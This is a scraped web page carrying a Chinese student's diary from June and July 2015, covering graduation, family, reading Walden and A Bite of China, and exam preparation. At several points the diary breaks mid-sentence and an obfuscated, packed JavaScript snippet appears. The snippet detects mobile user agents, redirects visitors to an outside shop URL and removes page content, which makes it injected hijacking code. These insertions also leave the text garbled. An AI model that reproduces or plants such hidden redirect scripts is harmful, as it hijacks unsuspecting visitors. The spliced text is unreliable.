傍晚偶然在自习室瞥见了下落的太阳，恰落在了我的左肩上。借位玩了一会儿“偷仙丹”，几分钟而已，便再看不见。机会这种东西，真是可遇不可求，或许专门为了这，反而拍不到有意思的画面。 1、从今后再也不会有什么地方会使我觉得陌生的了。 2、无论两条腿怎样努力也不能使两颗心灵更接近。 3、有了思想，我们可以在清醒的状态下，欢喜若狂。 4、我是反映我思想感情的一个舞台面。 5、所有重要而热忱的聚会，次数少一点也够了。 《寂寞》：寂寞和孤独，这也是我经常思考的问题。我认为自己是孤独的，一个人偶尔便会感到寂寞。然而梭罗教会了我新的思考方式：和寂寞交朋友。我怎么会从未想到呢？我以前时常鼓励自己：孤独是优秀的常态，因为我需要时间独自思考，那么寂寞难道不是我最好的朋友吗？我不必感伤，最强大的朋友存在于无形，他时时都在。我想这是来自自然和心灵的力量。梭罗的文字让我恬淡愉快，这种寂寞的神交便是最好的交际。 1、你的名誉并不靠你请客。 2015年6月8日 星期一 晴 没想到已经8号了。现在困得不行却又不想回宿舍。今晚想体验“跳蚤市场”，所以只好坐在这里自习。水饺实在是太大份了……最近我一定要忍住，要安静！ 《访客》：又一个共同点，喜欢和人交谈并观察周边的人和事，会理解人和人之间的不同。喜欢安静清幽的环境。如果生活 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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星期四 晴 据某舍友说，四年她从未见我对谁凶过，可有些人动不动就对人甩脸色。看过《看见》我知道，我不是脾气好，而是教养好。终于，我有了现在的教养。有些人我知道不是故意的，我理解。是她没教养，这句话不是骂人，是事实。 昨晚和妈妈说了去重庆的事，因为她担心汛期的重庆不安全，所以不想我去。我虽理解，但还是不太舒服。想到我凡遇见反对我想法的人便心里不痛快。以前反应过激，整个人情绪都上来了。这次有进步了，几句话了事，言语也没过于表露，继续加油！ 另，我真的有一个很奇怪的缺点。听到别人说另外哪个人很好，有什么什么优点，我总会觉得，你还没接触就这么轻易认为别人好？凡和你触过的人你就没觉得过谁好！算了，可是，好吧，我会针对说话的人去评论，这里是为我自己辩护……但是，谁不能有个优点？别人说和我什么关系？每个人在不同人嘴里都是不同版本。不轻信那种本就不行的人，考量一下你本就认可的人，不对任何人妄下定论。 《种豆》：不论做什么都会有所收获，这句话用来形容梭罗也是再合适不过。他一边劳作一边思考，哲学的角度去看待人生的每一个问题。因为农业的目的变为“大嚼一番”，所以农业这个职业也变得低下。我们可以借助农业活动和大自然更好地沟通和了解，我们花费了太多时间去想如何提高豆子的产量以换取更多的金钱，难道大自然本身物产不丰富吗？我们为什么不是播种更多的正直和美德？梭罗也是一个重视教育的人，我敬重他的思考，欣赏他的态度。 我忽然想通的是为什么命运安排我来到这里。因为这里的很多人身上都有我曾经的痕迹，那些我曾有过的想法，我曾做过的事，让我站在第三者的角落重新审视自己的过去，思考自己的未来。谢谢上天给了我这样一个认识自己的机会，小到每一个细节、每一个点。我看到、感受到、知道了自己的不足，我一点一点改正，我忏悔。 2015年6月16日 星期二 晴 毕业第一天。这几天连着忙各种毕业的事，时间快得不敢回想。四年的大学生活像一个结点，结束了。我学会了很多，成长了很大，这是我人生中变化最大的四年，感谢这一切让我更强大。 昨天坐在毕业典礼的凳子上，我忍不住涌了泪。不管怎样，起码说明这四年我很愉快。不论我骂了多少句，这都是我的母校。再也回不去的时光便不去感伤了，因为我珍惜过每一天。不论高兴还是悲伤又过去了一回。接下去路还长，我要加油走下去。 真的坐下来却写不出什么，在该写的时候应该及时记下来才好吧！不过也没事，心里的那个黑洞不会忘。 101.家里蹲考研（1） 2015年6月18日 星期四 阵雨 南方湿热的天气闷得让人透不过气来。昨天在金华算是领教了，今天回到县城也不见好转，到家了，终于到家了，也是累…… 毕业的最后这一个月日子过得确实挺混乱的，晚睡，今天开始调回来！还有后几天明显不足的学习时间。大学四年结束了。四年前欧伯伯把我送去学校，四年后他又来车站接我了。 《少年同盟》是近期看的一部动漫，可爱到不行，能和一群人从小一起长大真是幸福的事。我和J也做了十年的朋友，十年了，还能轻松愉快交谈的似乎只有他了。我仍旧幸运。以后我会遇见新的人和事，大家都会一切安好的！ 2015年6月19日 星期五 晴 回家后状态调整第一天。昨天累到没力气完成6000步。回家后每天的运动量确实成了问题，没下雨还好，一旦下雨想完成6000又不出门的话真心有难度。昨晚23：15睡的，早上居然六点醒了，当然早起是好事。 数学视频真的到这里中断，接下去全书的那么多内容都要靠自己摸索下去，加油！今年确实状态更好。六月底，七、八月是拉开差距的黄金阶段，我可是真的要努力又加油！数学安排的是每天4小时，这也是最重要的；英语1小时，这之后根据情况加量；水力学今年重点在对于基本原理的理解，也缓慢开始；政治这种东西，我不放弃。 从今天开始，我要认真执行规律又健康的作息和安排。 在很久之前我一直在羡慕别人的友谊和爱情，我在想为何我不能拥有这样一份情感？付出，然后回报。终于，我也收获了这样的爱情，这种美好到无法形容的幸福。一个人，一心一意地爱你，关心你，呵护你。就是毕业这几天以来的事，这四年，我收获了更好的自己和美满的爱情～幸运！越努力越幸运。 《舌尖上的中国》：“当今的中国，每座城市看上去都很相似，城市之间能被用来区分的似乎只有饮食习惯和弥漫在街市上空的气味了。”这句写在封皮背面的话很有意思，是，说出了我旅行时爱吃的理由。但除了饮食，还有人，接触的这座城的人。我没有看纪录片，我总是不会在第一时间去关注大热的人或事……个性使然，这本由纪录片改编的书让我又有了制作《吃逛县城》的冲动，当然，还有对食物的敬畏。 这次的两篇《序》给了我不一样的惊喜，像是亲切的交谈，聊聊各自对食物的体味。超喜欢的一句话：“吃喝是人类本能，本能加上情感，天下无敌，所谓爱情，不就是同样的构成吗？”我对于食物，对于美食的热爱源于对生活的热爱，“当传统的粗茶淡饭变成一种让人想哭的东西”的这个时代，我仍旧保有真我，追求生活的品质，是如此幸福和幸运。 “吃是一种很个人化的行为”，因为好奇，慢慢变得懂得欣赏，这便是生活的乐趣。“和女朋友吃的东西最好吃”，这便是吃出了情感。吃真是一门学问，想到不屑于照顾自己舌头和胃的那些人，不免有点可惜了。这种志同道合的神交之感实在表达不好。在吃的道路上，我还只是个新手。 《自然的馈赠》：这一章看完便打算在看完全书后邀上男友一起把纪录片看一遍。想去尝试、去体验、去听不同的人讲故事，这些都不是简单的旅行就可以体会到的。美食背后的故事，因为有了人文情怀，才显得格外珍贵。松茸、竹笋、火腿、莲藕、鱼头，是不是我以后在吃到这些食材后就会感到感恩和满足？这又会是怎样的情感羁绊？我的兴趣所在，吃难道不算一个吗？发展为副业好了～ 2015年6月20日 星期六 多云 天气凉爽～昨晚入睡前脑子又疯狂乱转，想的是对人。终于到了收获的季节，检验人和感情果真要用时间。二十二年，父母、外婆一家人对我视若明珠，亲情我学会了珍惜；十年，我还有一个无话不谈的朋友，这是友情；四年，大山给了我越来越多的惊喜，他现在整个人，便是最大的惊喜。我终于理解了为什么对人好是有意思的事，就像是播种，不一定会长成，可因为对象是人，就可能收获惊喜，这就为我们自己的生活增添了快乐，是一种美好。我想我们一路以来遇见的好心人和自己本身善良也有关吧！我们会把这种心意一直传递下去。 人总是有这样那样的缺点，在别人身上看到，自己往往也是一样，相互理解一下。人也就是因为有缺点才叫真性情，这样才比较可爱。 2015年6月21日 星期日 晴 连续两天我的睡眠都不太行，原因是晚上贪吃，导致胃不舒服，还有就是错过睡点，自控力这种东西也是难……但从今晚开始，我绝对不要吃零食了，馋是可以控制的。睡前忍不住想多聊一下，可是明明很困了，所以很容易过了困点。中午也是，明明困了，还是想刷…克制啊克制！高度自制力下的美好生活。连续几周学习时间捉急，和父母过周末还真是懒散…… 2015年6月22日 星期一 晴 在梦中，我独自走在以往的各色同学间，推开一个又一个教室的门，心中仍有所期待，可是，我被热醒过来…… 听到我爸的叙述，他的境遇让我心疼。可是我却无力改变，我有点无助。于是想到去求神，我爸并没有做错什么，我愿替他承受，可是，每个人不都需要自己成长吗？我爸也是一样，他仍要经历更多去磨砺自己。我不会再去想替他承受这种事，但我要努力变得更强，要能保护我想保护的人。我很小，大约是小学时就说过，那仇我一定来报！现在我仍未完全打消这种念头。我要忍，要等，要努力，要有能力保护我的家人。 上午看《舌尖上的中国》想到交朋友的事，我只有广交朋友才可能获得我真正想要的体验。就像对待我舍友和托马斯来县城我所做的安排，用心让他们体验到当地的文化。人生想做的事那么多，我要努力为自己奠基才好。 2015年6月23日 星期二 多云 我似乎对于父母辈们的通性有了一点模糊的概念，对于能够有今天这样的生活，实属不易。所以越是经历过艰辛岁月的老一辈便越是珍惜。我开始面对越来越多我本就无力的问题。 想到外公外婆包碳挣钱，端午节去的时候是在捆烟叶，老人为减轻子女的负担仍在努力养活自己。我不会因为那份微薄的收入感到不屑，我心痛、辛酸又无力，包括我现在看到自己父母仍在不易地挣扎，我无力。因为我现在也仍靠他们养活，我无法为他们提供庇佑。父母总是有一颗为子女的心，我要加油，不可以辜负。 2015年6月24日 星期三 多云 我其实不太清楚自己是如何长成今天这样的……昨天是我人生中第一次有这种感觉：我妈优点好多！我似乎总是在找寻别人的缺点，对一个人的评价多是他这个有什么缺点。对于大山，我没发现他什么缺点，可这有时让我懊恼……我真是……这样不好。说好的多注意他人的优点吗？哦！我仍旧觉得我爸缺点真多！ 随时间流逝，父母和我之间出现了越来越多的观念差，我不知是否仍旧因为我没有步入社会。我知道有些事很难，可我并不认为父母有义务分担我日后的困难。当然，我理解父母为子女的心，但是从新家庭组建的那一刻起，事情就不应该捆绑了。 除此之外，还有一个观点要改观：我对人有点容易定性。一旦定性后，好人做错事也可以包容，坏人做好事也一定有其阴谋。太武断了！再说，我又是好人还是坏人？ 自从看了《舌尖上的中国》就超想去体验东北零下的那种速冻，所有的食材刚拿到室外就立马速冻，也是非常有趣~ 想到同性恋的话题。我父母对此是非常激烈反对的，我表示理解和接受，但我自己性取向为男。出柜的人是勇敢的，且他们只有做到行业的顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430136|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端才可以保护自己。人们存在太多的偏见。其实每个人都一样，自己强大便可以保护自己，但事业也要强大才能保护更多。要做到也是难，想保护的确是很多，唯有努力。 2015年6月25日 星期四 晴 每天早上起来写篇日记的感觉真不错～话说要早睡早起对我来说真不容易……昨晚又一点多了，我是止不住地刷微博……我是怎么了。这次调整时间有一个月了！！自从我把“毕业论文”这项删了，ihours里的统计全乱了ORZ…… 从今天，现在开始！加油！高考出分了，现在的小朋友也是难…… 2015年6月26日 星期五 晴 每天早上刚醒和要入睡的时候，我的脑子就开始飞速旋转，其实这挺可怕的，因为大多数时候我的脑子已经转的够多了…… 今天想到的是要把民舞拾回来，总是有用。还有把那本2011年的汉字日历拿来打草稿，物尽其物啊！不然，这么大本也是占位置。有时候我在想，那么多不用的东西又舍不得扔是怎样…… 人有的时候就是因为这样才负累太多，我是这样说，但还不是在到处找东西把自己捆绑起来？我想做的事太多，倒不如选一件两件专注起来，专业和吃怎么样？ 《舌尖上的中国》的最后几篇名人谈吃的文章不知是否是拿来凑数的，好是好，但实在不那么贴合，当然这只是个人意见。这本书看完还是觉得挺有意思的。“不时不食”这四个字我算是牢牢记住了，书里老是看见“老饕”这词，原是形容：爱吃、会吃、懂吃的人。我绝不敢自称“老饕”，但怎的也算得上一“小饕”。 吃是真的得花功夫的，看后面那几篇文章写的，“吃”可真是有钱人家得以玩转的东西。记得一句话，盐商没权势但有钱，比的就是自家的花园和厨子的手艺。“吃蟹八大件”是把我一惊，这比对起来，我也就一没见过大世面的吃货……说起来，古时候的江南水乡的那种富庶、精细和讲究是和山区无关的。**和**是南蛮，我也就是个山里的刁民。多少有那么点失落，江浙沪包邮的节奏……倒是没想到学了点吃的知识，凡事做好都难，吃也一样。 发现自己像《少年同盟》里的要，喜欢的是悠太，不过老把自己往主角身上套也不好。 2015年6月28日 星期日 晴 昨天没有读书，在帮忙小朋友报志愿，发现这没什么意思……小朋友上学什么的真的很不容易，哪有什么都如意？ 昨晚也是睡了很久，没午睡真不太行，怎么说呢？总是制定计划什么的，做的也不太多，连续四周未达标。周日是新一周的开始，重新开始努力吧！ 2015年6月29日 星期一 晴 早上吃了一个小粽子，然后我还蛮得意自己为消灭粽子出了一份力的～兴高采烈地开冰箱，里面还躺着一堆粽子，泪奔！ 今天距考研80天，真的只剩半年。回来这么多天，晚上就几乎没学习过……难啊！我是什么狗屁毅力。最近数学瓶颈也拖了有一周，昨天总算安心学了一题。总幻想日后的美好，现在真是该努力，倒是每天早起锻炼一下，吃饭，写日记的感觉真不赖！ 2015年6月30日 星期二 晴 多年后我又开始听《哈利·波特》的英文朗文，有些地方真心不太懂，只能看个大意。考研词汇的背诵进行到现在深感其基础性，学另一门语言的话，词汇真是必掌握的基础。我确实还差的远，这还得继续加油才行。 前天晚上提了一句新取名字的事，昨天上午新名字就来了，让在两个里选。仔细琢磨一下，“彩色的阳光”真是符合我的性格、个性和人生。我的正直、坦诚、各色的想法和积极的状态似乎都被包含在了里面。总觉得有一种“耀眼绽放”的姿态。 得，学习去，数学虽说麻烦，三章也要结束了。 102.家里蹲考研（2） 2015年7月1日 星期三 晴 六月过去，七月！考研分水岭的第一天，因为自己不是总能控制好自己所以我选择了强制屏蔽。我会受影响，我会对比，不由自主地对比，然后心里有时候会承受不来。 在大学我学会对待和理解不如我的人，那接下来我若考上华东水利，就要学会面对比我优秀的人。“彩色的阳光”便是我的新生，重来一次对吗？调整心态，加油！ 2015年7月3日 星期五 大雨 至少有四年没有看《哈尔的移动城堡》，这次看才发现，原来我没看太懂。印象深刻的一个片段，哈尔因为染发剂颜色混了，头发不是原来帅气的金色，崩溃了！苏菲刚开始还安慰他，可哈尔不理会，苏菲把出口转到荒野，跑到雨里大哭一场，她说：“我从来没有漂亮过！”而后又重振精神回去挽救“不漂亮怎么活下去”的哈尔。哈尔，感觉从某方面来讲是很脆弱的存在。至于他和他老师之间的那些事我仍旧没懂…只是战争肯定是不对的。 这部动漫的原著，按名字主角是哈尔和卡西法，动漫改名为《哈尔的移动城堡》，我想城堡是哈尔的家，更是他的心灵归属，因为苏菲和大家。 2015年7月4日 星期六 阵雨 昨天的影评拖到今天我也是醉了……没有及时写我是不是忘了很多内容…… （接：）苏菲的性格乐观、大方、坚强，即使被变成了老婆婆也没有过分难过，而是选择默默离开。她坚守父亲心爱的帽子店，为哈尔的城堡做清洁，勇敢说出自己的想法，是不是太完美了？宫崎峻的动漫里总会顾虑到每一个细节，卡西法火之恶魔也是可爱到不行，结局总是好的，现在写不下去了……（怪我昨天不及时记录啊！） 现在满脑子的印象全是娱乐圈的各种扒，都是从昨晚的微博上开始的……我只要看开扒，根本停不下来……各种明星各种扒，我到底是多八卦……我也很无奈，我不懂为什么，对和人有关的事物感兴趣后，就想去看创造或引起这个事的人的长相，看了长相就想看经历，出生年份（我很在意年龄，比我大或比我小，用以衡量在这个年纪达到这种程度怎么样），然后各种扒。 这里又提两件事：1、我越发意识到不能因为别人的黑历史就认为这人不行。因为我想到原谅过去的自己，也希望别人原谅我的过去。那么我首先不揪着别人的过去不放。谁年轻没犯过错？邓布利多也错过，哈利居然还无法接受一开始！too young！2、我喜欢比较，这实在不是什么好事。这里又引伸出我对自己的要求。我总是要求自己更好，总想着怎样提升自己的气质、气场、修养、品味，所以我看书、读英语，对知识渴望，向往未知，要求自己为别人想，顾虑别人的小细节、小情绪，但一旦发现自己做的不够好就会痛苦，我痛苦。 昨晚我躺在床上，辗转反侧，因为在“知乎”上看到大家对“花少2”各人的评价。我在反思自己，我在想自己是不是也在用“为他人想”掩盖自己的私心，是不是真的可以很轻松淡然地和别人愉快相处。我又在自责，我没有控制好自己，至今仍未达到自己的标准。 总是在入睡前和醒来时，想法多，往往状态不好，这种时候心态不是很好，让自己狼狈。大部分时候我会为自己开脱。现在的心态仍旧不稳定，不能时时保持好状态，因为在“新老交替”吧！ 我在意的别人不一定在意。我在感到被名校生的考分碾压的时候，从未想过有人会对我说：“我又不羡慕。”追求不同，且人家从不和这种人对比。我偶尔还是会怨气很重，虽然这几年进步多了。我抱怨所有人，舍友、同学、好朋友、父母，甚至自己。和别人抱怨所有人（包括自己），再和自己抱怨自己。我要改，把现在剩下的每天的不到5％的负面情绪转化，这才是我，焕然新生的“彩色的阳光”。 今早听到了一种之前未听过的鸟叫，很有特色，然而，我讨厌早上被打扰……被人打扰。然后，我又开扒……刘雯简直气场全开，根本挡不住。内心要坚定，实力要强大，我天天说这么多，算是有努力一点点。现在算是把想法都记下了。 这里又想到，我动不动就想给自己放假……今天又放松，明天又放松的，我的调整周期真的很长，要花费很长的时间才能又一次进入状态，这种好的状态往往持续的时间还不长……我也是简直了。从决定再考研至今有过两次还不错的状态，分别在四月、五月，五月简直了，超优秀月（目前的），现在七月刚开始，加油了，过去的就过去了。 今天早上起来想的是，周六，那就先做自己想做的事吧！然后，我现在应该读数学是吧…想听 Harry Potter，昨天欠了一半word list 15的单词…… 2015年7月10日 星期五 晴 下了一周多的雨，又开始开温，昨天刚开始，接下去几天应该还好，往后就不敢说了。 昨晚的梦里是这样的：“有人送我了一条宝蓝色大项链，恰好和我的宝蓝色长裙礼服相配。我从别人脚下夺回自己行李箱后在房间打开，从礼服的夹层里蹦出一叠一叠的纸，那里有发票和信。发票是那人在世界各地咖啡馆写下对我的思念，信则是很早写下的，没有拆封，也没有在当时给我。我忽然懂得送我项链的人是谁。我心中无限感慨要把那些纸片看完，忽然意识到自己可能在做梦。可是我拒绝醒来，那一瞬间复杂的情感，醒来就看不了那些纸片了！我仍旧醒来了，我穿着黑色吊带礼服坐在床上哭泣，背后挂着的毛主席画像对我皱眉，说：“别哭了。”“可是我想看完纸片！”我仍旧哭着，毛主席说：“快去帮你父亲核对发票吧！”然后走出画框，一个人走了。原来那个人对我的思念都是我的梦，其实没有这样的事，我好蠢。” 我醒来，我梦见自己做了梦，我是不是在用理智把内心深处的东西掩埋，可是这是我的心啊！遮不全的，尤其在睡觉这种不受控制的时候。这么多年，我无数次地梦见那个人想要求得我原谅、真心挽回或是在我遇到困难时冷眼相待。实际上被插了刀，却幻想□□刀的人会真心爱我吗？所以，我在用理智控制。我没有对自己失望或怎样，无奈感慨，人心果真是肉长的，滴的每一滴血她都记得。 最近数学的状态真心不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13439521|132138||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错，脑子清醒多了，不过每天学习的时长真心不太行。前天晚上和J见面，算是为他去外地工作先送行了。十年友谊真不是吹的，果真是一趴了，而且无论何时凑在一起都能聊，这种感觉真好。不过身边本就没几个朋友，也各奔东西，但我们这种朋友不害怕距离。 放假回来以后，我放了太多心思在外貌上，并不是去打理，而是炫耀，虽然炫耀对象就那几个人。我反复地强调这四年我得到了什么。外在的气质比内心的成熟实在的多，直观的多，所以我拿来反复地说，我还不够！远远不够优秀和强大！我妈昨天说那时候在乡政府，因为没有钱买衣服穿会感到自卑，其实我是感同身受的。我从美国回来前，没有几件拿得出手的衣服，现在写下这话我都还可以感受到当时的窘迫。慢慢到了大学的后期，我开始买各种衣服，颜色、花样都多了起来，我便再不考虑太多穿着的问题。我好弱，真的。 不知从何时起，我妈开始在我耳边疯狂重申“出生”二字，对！这确是很多问题的症结所在，但让我厌恶，还有那种斩钉截铁的态度，这让我想到“长得美”。这种过分强调不可控因素的事让我恶心，事实既定，何必这样？然而我又不得不承认“父母魔咒”对我的影响，我真的努力要跳出去，很努力。 今天到这……不，很早我就发现一个问题，如果我想单独写几个正楷字送人，立马就会显示出我的写字功底不行，所以我还要练字。练琴、练舞的事我都懒得提，我有多么的言行不一…真是为自己羞耻…… 2015年7月11日 星期六 晴 根本没想到会这么快，就相隔一天的时间，我坐在这里以胜利者的姿态写日记。昨晚和同学相聚，带上了大山，顿时感到自己是很幸运的人。尴尬全无，自信镇压全场，或许大山和我比别人更迟开始努力，但努力永远不会迟，况且以我俩的能力也绝不会差，所以，加油！坚持！大好前程等着我们。 2015年7月12日 星期日 晴 一整天，从我早上躺在床上知道门被我妈推开的那一刻起，我就开始烦躁。现在，我的心情极度不好。 我特别讨厌我妈在我的房间门口推开一个宽度不出声站着，盯着我的后背看，这让我厌恶，非常！因为她发出的声音早让我知道了她的存在，那种似乎是害怕打扰我的情绪让我的厌恶又多加了一分。 我讨厌她在我面前反复地提钱，出生，我猛然发现我对所有人的抱怨和不满是源于我母亲的。她对于外公、爷爷、奶奶包括我父亲的情绪全部对我宣泄过。我理解她，以上这几个人对她真的是很不公平的，早年的一些事件甚至可以上升到不可原谅的地步。可家庭内部的事是不能对外说的，我是一个安全的出口。可这几个又有很特殊的身份：至亲的人。这个点我要在自己身上克服掉，绝不可以转稼给他人。 写完上面这段话，我内心已经平静，还有一些未来得及记录的极端想法也失去了记录的必要。没想到以“写下”这种方法作为我的情绪出口如此有效，以后可以常用，也方便我日后回看以前生气的自己有过怎样疯狂的想法，也不失为一件有趣的事。 103.家里蹲考研（3） 2015年7月19日 星期日 晴 终于坐在这里写日记。昨天打开日记本后却根本没法坐下来，脑子空白，真的是累到极致了。这是这么多年来最愉快的一次旅行，从未想过大洋彼岸会有一个和我如此相像的人，可以说是享受，也接触了一些新观点。 7.13晚上顺利接到Thomas后发现真人比照片帅得多，在吃紫溪米粉的时候已顺利开始了会话模式，T的人生两件事：Talk和Walk，顿感默契！留下了不错的第一印象后，做了一些基本的交待，第一天行程结束。 7.14开始了暑假的第一次早起。在家边小巷里吃了T来县城的第一顿早饭，我也多年未去南关买菜，除了卖肉的摊子还在原位，其他地方的格局我已经记不清了。古城路也是充满记忆的地方，还有用仙草汁凝结的仙草冻，让我想起小时候曾去山里采过仙草。家里好像也多年未做过春卷，把所有菜切丁不是易事，好在四个人一起，妈妈也提前回家，这一餐饭吃的开心～午休后去瀑布林，门票从一元恢复到二十，当然景色值这二十元吧！沿路被吐槽的英文路标，和后来大家的搞逗照片，旅行的重点果真是人。晚饭很普通，但晚上老爸的茶技很精彩，似乎老爸在茶叶的学问上又精进了不少～正式第一天的旅行很开心，T没完全放开，我惊奇地发现自己的英语口语出神入化。大山压力有点大，没放开，小傅几乎沉默。 7.15改到家里的早餐很棒～T仍旧捧着我妈做的辣椒酱不放。去古镇的一路风景很美，让小傅和T坐在一起并没有什么用，我状态还好，古镇的话最有趣仍旧是拍照。被送去“天成奇峡”后倒是有惊喜，我第一次坐在如此自然的环境下用餐。背后是青山绿水，草地上支起的桌子盖上了红桌布，颜色干净又艳丽，高脚杯和玻璃水果盘又添了几分浪漫。非常愉快的晚餐，除了浪费和我们“495”的帐单，我们被安排了……深夜打牌档，“100点”是个好游戏！T和我已进入状态，大山逐渐放开，傅未知…… 7.16我可以听懂本地话是让撑竹排的人抓狂了……景色不错，只是没体力支撑，下午回到外婆家恢复了许多。包白果包的总是我的客人。四年，我第一次一齐认真见到大山的父母。“永相逢”超出预想的好，我翻译的店名是 Never Say Goodbye。我们四人已玩在了一起，形成美好的默契～ 7.17大山辛苦陪了一天，我待在家疲劳地不想动。晚饭后的辣椒酱现场教学和后来的甜点，我们聊了很多，三观惊人的一致。 7.18我久违地等了一次人，送去车站，圆满完成接待。 这是很愉快的一次经历，有太多难忘的细节，这一切都会被吸进我内心的黑洞伴我成长。我很优秀，会更优秀。开始进入考研全力复力阶段。 1、火车从来不停下来欣赏湖光山色。 2015年7月20日 星期一 阵雨 《湖》：不记得有多久没看《瓦尔登湖》，也不记得《湖》我是分了多少次才看完的，很显然我的内心没有以往的平静。梭罗对人贪婪本性的描写让我想到了自然风景区，人们是为了什么目的建景区的呢？有几个是为了更好地保护自然的？那么我们欣赏了自然的美景，谁又允许你留下垃圾了呢？丑恶的人太多。梭罗的那句话：“农夫不懂欣赏水果成熟的美，认为水果只是在市场上变为金钱才算成熟。”我向往像梭罗一样生活，可却难以找到那样一片大地。 人们，富有的、丑恶的人圈起了原本属于大家的美景来收费，并没有人反对。反对的人多是因为自己未能从这美景中多赚一笔。对于这些人来说，梭罗和我才是傻瓜，他们的人生并不需要什么哲学思考，我甚至怀疑即使得到了足够的钱他们是否有能力去享受生活，因为这些人甚至不懂得自然的美，不懂得何为敬畏。当然，他们自认为过得很好，只是他们永远不会成为最后的赢家。百年之后，或许只能成为湖底的一捧淤泥，被后来的人从湖底捞起贱卖。 2015年7月21日 星期二 阵雨 《哈利·波特与火焰杯》里有两个桥段让我忘不了。第一个是在魁地奇世界杯的时候一个男巫师穿了麻瓜的睡裙，他说这样他的屁股很凉快～第二个桥段便是维克多·克鲁姆邀请赫敏参加圣诞舞会。让我耿耿于怀的是书里明明说赫敏穿的是天然色的裙子，电影里变成了紫红色！我总是原谅不了哈利和罗恩根本没想过邀请赫敏作舞伴，甚至嘲笑纳威想找她作舞伴，格兰芬多的女生也暗讽没有人会邀请她。人，都是这样的吗？看脸，你可以看脸，但不可以只看脸！在我当年还是只丑小鸭的时候，哈，我可以感受到人们在看到我现在样子的表情变化。我得意，我以后还会更美的不是吗？ 家庭一旦大了便会有数不清的琐事，并不是每个人都和你一样懂事和通情达理。就在不久前我还有“拯救家族”这种荒谬的想法，然而从未有谁想过拯救我吧！事不过三，我努力劝说过了，那剩下的与我无关。所以不要动不动就说谁谁谁在你的引导下成功，那是人家自己的努力，你最多算是表达了关心！哪！成大事者心不能太心软，你们自己的人生，自己去努力，我负责好我的人生，当然，欢迎志同者的加入！ 2015年7月25日 星期六 晴 我不记得在此之前我是否有对自己的生活状态如此满意过，真的非常愉快而充实。有努力学习，也有和家人相处的时间，珍惜时间，也珍惜身边的人。 这次再看《哈利·波特》仍旧心中各种感慨，有些情节记混了，有些细节埋伏笔也是很赞。原来是克鲁姆的龙踏破了金蛋，他也早知道了第二项任务开始在湖中练习，第一项任务时赫敏并没有和哈利拥抱。邓布利多真的是个好导师，不过他太忙了。我仍旧认为哈利太自以为是，我不喜欢罗恩的不上进，倒是赫敏身上有无数的优秀品质，除了在某些方面过于偏执，赫敏对于流言蜚语的处理也是理智！斯内普的种种表现只能说罗琳太强！书确实读不完，所以不妨把好书多看几遍。 关于“知乎”，大神的建议：“有三四个特长或者乐善好施，接着找到爱好的交叉领域，然后在交叉领域上成为最棒”；“喋喋不休是没有卵用的，少说话”。还有关于阅读的建议，这点我肯定会坚持，不止是阅读，更多的是学习。最近听马原的课，老师说：“做的过程中去想。”我想太多，做太少，当然，我现在改变，虽然还是想的多。神奇的是我竟然通过马原终于释怀了——对旧事物的消亡。我对某些事物的消亡有种无法言说的悲悯，可终于我明白了，这是客观规律。学进去了，总是有用。我很喜欢打探他人的隐私，其实去追究这种种缺点遗传自谁，哪个家族对我改正缺点并没有帮助，所以我安心去改吧！我说过不再在日记里写下我不喜欢、不重要的人。 我知道自己在越变越好，我在努力。这样做，我所有年少时犯下的错误都得到了改正，或许这也算是一种救赎。数学我又遇到了瓶颈，加油吧！坚持下去就可以。 2015年7月27日 星期一 晴 今年以来待在家里的日子真的很多，也就有了口福。自放假回来的杨梅、桃子、葡萄各种水果，和我妈煮得一级棒的菜！有好事者不断地提及我太瘦（真正关心的人我是懂的），我只能报以“我的肉太精贵”的回答：别人吃一百斤长起的一斤肉，我要吃到一千斤好货也不见得长半斤，呐，这就是人和人的差别。（天天和别人解释自己身体不好、吸收不行反倒像是在兜售自己的可怜，烦都烦死，所以你不如我精贵，怪我咯？！） 我爸妈老喜欢提存钱、省钱为我买房这点子事，也是让我烦恼（我天！我每天这么多的烦，怎么长肉！），终于近几天想明白了这事儿。我劝他们也没用，以后我有出息，自然用不到他们的钱，没本事了即使现在说不用，将来也得用，所以现在好好努力，将来自己强了才是王道。也不用每天想着多赚钱带父母去旅行，等我富了，自然不用父母的钱，他们可以用自己的钱去玩，根本不用我！就是这么自然的事儿。 再说八卦，这回我又从别人身上看到了聊八卦的不好，老是评论别人，不好！我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 